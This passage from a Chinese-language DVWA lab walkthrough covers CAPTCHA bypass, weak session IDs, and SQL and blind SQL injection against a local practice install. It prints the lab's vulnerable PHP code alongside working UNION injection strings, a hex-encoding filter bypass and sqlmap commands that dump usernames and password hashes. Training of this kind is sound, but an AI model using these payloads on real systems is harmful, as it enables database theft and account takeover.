	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key' ],
		$_POST['g-recaptcha-response']
	);

	// Did the CAPTCHA fail?
	if( !$resp ) {
		// What happens when the CAPTCHA was entered incorrectly
		$html     .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= "

You passed the CAPTCHA! Click the button to confirm your changes.
{$pass_new}\" /> {$pass_conf}\" />
"
; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"
; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "

You have not passed the CAPTCHA.
"
; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the end user $html .= "
Password Changed.
"
; } else { // Issue with the passwords matching $html .= "
Passwords did not match.
"
; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 查看源码可知,修改密码时需要修改step参数时,还需增加passed_captcha参数,方可绕过验证码:
  • 进行抓包:
    网络安全之DVWA通关教程_第91张图片- 修改请求参数,点击Send
    网络安全之DVWA通关教程_第92张图片
  • 显示修改成功。

3.6.3 High级别



if( isset( $_POST[ 'Change' ] ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key' ],
		$_POST['g-recaptcha-response']
	);

	if (
		$resp || 
		(
			$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
			&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
		)
	){
		// CAPTCHA was correct. Do both new passwords match?
		if ($pass_new == $pass_conf) {
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for user $html .= "
Password Changed.
"
; } else { // Ops. Password mismatch $html .= "
Both passwords must match.
"
; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 查看源码,服务器的验证逻辑是当$resptrue,并且参数recaptcha_response_field等于hidd3n_valu3(或者http包头的User-Agent参数等于reCAPTCHA)时,就认为验证码输入正确,反之错误。
    网络安全之DVWA通关教程_第93张图片
  • 由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
  • 修改参数,点击Send:显示修改成功。
    网络安全之DVWA通关教程_第94张图片

3.7 Weak Session IDS(弱会话ID)

3.7.1 Low级别

  • 查看源码


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	if (!isset ($_SESSION['last_session_id'])) {
		$_SESSION['last_session_id'] = 0;
	}
	$_SESSION['last_session_id']++;
	$cookie_value = $_SESSION['last_session_id'];
	setcookie("dvwaSession", $cookie_value);
}
?>

  • 服务器每次生成的session_id加1给客户端, setcookie("dvwaSession", $cookie_value);就是设置session的值;
    网络安全之DVWA通关教程_第95张图片
  • 采用admin用户登录,点击Generate,采用bp进行抓包,发现每点击一次GenerateCookiedvwaSession会自增1,第一次点击Generate时无dvwaSession,默认是0;复制上图中的Cookies值;
  • 此时清除浏览器缓存,重新访问http://127.0.0.1/dvwa/vulnerabilities/weak_id/,抓包后将Cookie值改为上图中的Cookie,点击Forward,就会跳过登录,直接进入主页,如下图所示。
    网络安全之DVWA通关教程_第96张图片

3.7.2 Middle级别

  • 查看源码


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	$cookie_value = time();
	setcookie("dvwaSession", $cookie_value);
}
?>

  • medium级别是基于时间戳生成dvwaSession的,关于时间戳转换,直接查找转换器进行转换即可。
    网络安全之DVWA通关教程_第97张图片
  • 采用时间戳转换工具:https://tool.lu/timestamp/
    网络安全之DVWA通关教程_第98张图片
  • 将时间戳转换后,可采用与Low级别一样的方式进行攻击。

3.7.3 High级别

  • 查看源码:


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	if (!isset ($_SESSION['last_session_id_high'])) {
		$_SESSION['last_session_id_high'] = 0;
	}
	$_SESSION['last_session_id_high']++;
	$cookie_value = md5($_SESSION['last_session_id_high']);
	setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>
  • high级别使用了PHP setcookie()函数,来设置cookie。抓包发现,dvwaSession值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密。
    网络安全之DVWA通关教程_第99张图片
  • 如上图所示,设置为High级别时,抓包所示效果。在Repeater中,点击Send,在Response中查找dvwaSessionMD5加密结果,进行MD5解密:https://www.cmd5.com/
    网络安全之DVWA通关教程_第100张图片
  • dvwaSession值设置成为MD5加密的数字,进行页面请求,即可完成攻击。
    网络安全之DVWA通关教程_第101张图片网络安全之DVWA通关教程_第102张图片

3.8 SQL Injection(SQL注入)

  • sql注入原理:通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段;

网络安全之DVWA通关教程_第103张图片

  • SQL注入分类
    (1) 数字型
    (2) 字符型
    (3) 报错注入
    (4) Boollean注入
    (5) 时间注入

  • SQL注入思路
    (1).判断是否存在注入,注入是字符型还是数字型
    (2).猜解SQL查询语句中的字段数
    (3).确定回显位置
    (4).获取当前数据库
    (5).获取数据库中的表
    (6).获取表中的字段名
    (7).得到数据

  • SQL注入绕过方法
    (1)注释符号绕过
    (2)大小写绕过
    (3)内联注释绕过
    (4)特殊编码绕过
    (5)空格过滤绕过
    (6)过滤or and xor not 绕过

  • SQL注入漏洞 定义:SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

  • SQL注入漏洞原因:
    (1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞;
    (2)web 开发人员无法保证所有的输入都已经过滤;
    (3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中);
    (4)数据库未做相应的安全配置;

  • SQL注入漏洞危害
    (1)猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
    (2)绕过认证,列如绕过验证登录网站后台。
    (3)注入可以借助数据库的存储过程进行提权等操作。

3.8.1 Low级别

网络安全之DVWA通关教程_第104张图片



if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
  • 可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,后台执行sql语句"SELECT first_name, last_name FROM users WHERE user_id = '$id';,存在明显的SQL注入漏洞。

  • 漏洞分析:
    1)判断注入类型:
    输入1查看返回数据:
    网络安全之DVWA通关教程_第105张图片输入1'查看返回数据,显示报错:
    在这里插入图片描述继续输入1' and '1' ='1,查看返回数据:
    网络安全之DVWA通关教程_第106张图片继续输入1' and '1' ='2,无响应,认为是报错:
    网络安全之DVWA通关教程_第107张图片

  • 根据id=1'报错和id=1'and '1'='1正确,我们可以确定是字符型注入
    2)判断字段数:order by:使用order by 进行判断字段数, 直到order by 进行报错时候就可确定字段数;
    输入1' order by 1#查看返回数据:查询users表中user_id为1的数据并按第一字段排行;按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误;

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;

网络安全之DVWA通关教程_第108张图片输入1' order by 2#查看返回数据:
网络安全之DVWA通关教程_第109张图片 输入id=1' order by 3#时报错了,说明字段只有2列:
在这里插入图片描述
3)判断回显位置,结合联合查询函数union select
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#进行查询 :
实际执行SQL语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;

网络安全之DVWA通关教程_第110张图片database()将会返回当前网站所使用的数据库名字.;
user()将会返回执行当前查询的用户名;
通过上图返回信息,我们成功获取到:当前网站使用数据库为 dvwa;当前执行查询用户名为 root@localhost

再输入 1' union select version(),@@version_compile_os#进行查询:
实际执行SQL为:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#;

网络安全之DVWA通关教程_第111张图片
version()获取当前数据库版本;@@version_compile_os 获取当前操作系统。
通过上图返回信息,我们又成功获取到:当前数据库版本为 : 5.7.26;当前操作系统为 : win64

4)获取表名
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_nametable_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:
实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;
  • 发现报错 Illegal mix of collations for operation ‘UNION’, 解决办法: 是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:
    1)打开phpstudy_pro,下载phpMyadmin
    网络安全之DVWA通关教程_第112张图片
    2)点击管理,浏览器打开,输入账号密码,我是rootroot
    网络安全之DVWA通关教程_第113张图片
    3)点击数据库dvwa,操作,排序规则将原来的编码改成 “utf8_general_ci”,勾选更改所有表排序规则,执行,重启phpstudy_prodvwa网络安全之DVWA通关教程_第114张图片4)若还是报错,建议在dvwa中点击Create/Reset Database即可;
    网络安全之DVWA通关教程_第115张图片
  • 报错解决后,输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#后,回传数据为:
    网络安全之DVWA通关教程_第116张图片
  • 通过上图返回信息,我们再获取到:dvwa 数据库有两个数据表,分别是 guestbookusers

5)获取字段中的信息

猜测users表的字段为 userpassword ,所以输入:1' union select user,password from users # 进行查询:
实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

网络安全之DVWA通关教程_第117张图片

  • 可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到https://www.cmd5.com/进行解密。

3.8.2 Middle级别

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

网络安全之DVWA通关教程_第118张图片

  • 这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
  • 输入1点击Submit:
    网络安全之DVWA通关教程_第119张图片
  • 进行抓包,并进行请求:
    网络安全之DVWA通关教程_第120张图片
  • 修改字段为1',请求时报错:
    网络安全之DVWA通关教程_第121张图片
    1)判断字段数:

输入id=1 order by 2#,查看返回数据:
网络安全之DVWA通关教程_第122张图片2)判断回显,联合查询union select:

  • 输入1 union select database(),user()# 查询数据库和用户名,查看返回数据:
    网络安全之DVWA通关教程_第123张图片
  • 输入1 union select version(),@@version_compile_os# 查询数据库版本和操作系统,查看返回数据:
    网络安全之DVWA通关教程_第124张图片
    3)获取表名:
    输入1 union select table_name,table_schema from information_schema.tables where table_schema= database()#查询表名:
    网络安全之DVWA通关教程_第125张图片
  • 输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#查询表名:
    网络安全之DVWA通关教程_第126张图片
    4)获取表中字段名:
    网络安全之DVWA通关教程_第127张图片
  • 注意获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273
  • 输入1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制数为0x7573657273 ,查看返回数据:
    网络安全之DVWA通关教程_第128张图片
    5)获取表中数据:
    输入1 union select user,password from users,查看数据:
    网络安全之DVWA通关教程_第129张图片

3.8.3 High级别



if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
Something went wrong.
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>

网络安全之DVWA通关教程_第130张图片

  • 可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1;
  • 方法跟前面的差不多,直接爆账号密码,如输入1' union select user,password from users#,查询返回数据:
    网络安全之DVWA通关教程_第131张图片

3.9 SQL Injection(Blind)(SQL盲注)

  • SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
  • 盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
  • 盲注分为三类:
    1)布尔盲注: 成功与失败通过布尔值来展示;
    网络安全之DVWA通关教程_第132张图片
    2)报错盲注: 页面显示数据库报错信息;
    3)时间盲注: 页面没有回显位置(联合注入无法使用)、页面不显示数据库的报错信息(报错注入无法使用)、无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)时,采用时间盲注;(时间盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。)
    时间盲注利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面延时5秒以上则说明判断成立,即存在注入;
    网络安全之DVWA通关教程_第133张图片
  • 盲注的一般步骤:
    1)判断是否存在注入、注入是字符型还是数字型
    2)猜解当前数据库名
    3)猜解数据库中的表名
    4)猜解表中的字段名
    5)猜解数据

3.9.1 Low级别



if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				try {
					$exists = (mysqli_num_rows( $result ) > 0);
				} catch(Exception $e) {
					$exists = false;
				}
			}
			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
'
; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '
User ID is MISSING from the database.
'
; } } ?>
  • Low级别代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回结果只有2种:
    网络安全之DVWA通关教程_第134张图片网络安全之DVWA通关教程_第135张图片
  • 基于返回数据,可进行布尔盲注;
    1)查数据库前要先判断数据库的长度:
    输入1' and length(database())=x #其中x为大于等于1的整数,当显示存在时即为数据库长度,发现当x=4是显示存在,故当前页面所使用的数据库长度为4;
    网络安全之DVWA通关教程_第136张图片网络安全之DVWA通关教程_第137张图片2)采用二分法找数据库名:
    依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii码值#, (ASCII码值对照表:https://blog.csdn.net/wangyuxiang946/article/details/123519952)通过比较输入字母的ascii值的显示正常与否来逐个确定库名:
    在这里插入图片描述
    重复以上步骤,就可以得到完整的数据库名dvwa,以上过程建议采用代码实现。
  • 采用sqlmap工具进行注入:
    1)获取数据库名:在sqlmap工具安装目录运行python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db时,显示报错:
    网络安全之DVWA通关教程_第138张图片解决方法:python sqlmap.py --update,完美解决,原来是版本低的原因。
    2)"http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" 如何获得,页面输入1,点击Submit,进行抓包,在请求数据中获取数据:
    在这里插入图片描述3)问题解决后,重新执行python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db时,一直输入y,时间较长,最后显示爆出的数据库名为dvwa
    网络安全之DVWA通关教程_第139张图片4)获取表名:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables,存在2张表,分别为guestbookusers
    网络安全之DVWA通关教程_第140张图片5)获取users表中的数据:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch,可展示所有数据及数据下载到本地的路径:
    网络安全之DVWA通关教程_第141张图片

3.9.2 Middle级别

 
SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php
 
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
 
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
  • 解析 PHP代码,提交方式由get变成了post,针对提交方式由get-->post,因此需要添加参数--data

  • 1)查看数据库:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -dbs
    网络安全之DVWA通关教程_第142张图片参数获取:输入1后,点击Submit,进行Burpsuite抓包,获取所需参数;
    网络安全之DVWA通关教程_第143张图片

  • 2)爆出表名:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa --tables,查看返回数据:
    网络安全之DVWA通关教程_第144张图片

  • 3)爆出字段名:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --columns,查看返回数据:
    在这里插入图片描述

  • 3)查看具体内容并下载:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users -C user,password -dump,查看返回数据:注意在userpassword之间不能有空格;
    网络安全之DVWA通关教程_第145张图片

  • 4)查看表的全部内容并下载:
    输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --dump --batch
    网络安全之DVWA通关教程_第146张图片

3.9.3 High级别

 
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/high.php
<?php
 
if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;
 
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
 
            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
 
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;
 
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
 
            break;
    }
 
    if ($exists) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } } ?>

网络安全之DVWA通关教程_第147张图片

  • 相较于前面两种,单独的这里id 值由cookie 传递,设置了睡眠时间,增加了盲注的时间耗费;

  • 1)查看数据库: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --dbs ,查看返回数据:
    网络安全之DVWA通关教程_第148张图片参数获取方式:页面点击Click here to change your ID. ,弹出框输入1,进行抓包,第一个包如下所示:
    网络安全之DVWA通关教程_第149张图片点击Fordword后,展示第二个数据包:
    网络安全之DVWA通关教程_第150张图片从以上2个数据包中查找所需参数。

  • 2)查看数据表: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables ,查看返回数据:
    网络安全之DVWA通关教程_第151张图片

  • 3)查看数据表字段: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --columns ,查看返回数据:
    网络安全之DVWA通关教程_第152张图片

  • 4)脱库(部分表数据): 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users -C user,password -dump,查看返回数据:
    网络安全之DVWA通关教程_第153张图片

  • 5)脱库(全部表数据): 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch,查看返回数据:
    网络安全之DVWA通关教程_第154张图片

3.10 XSS(Cross Site Scripting 跨站脚本攻击)

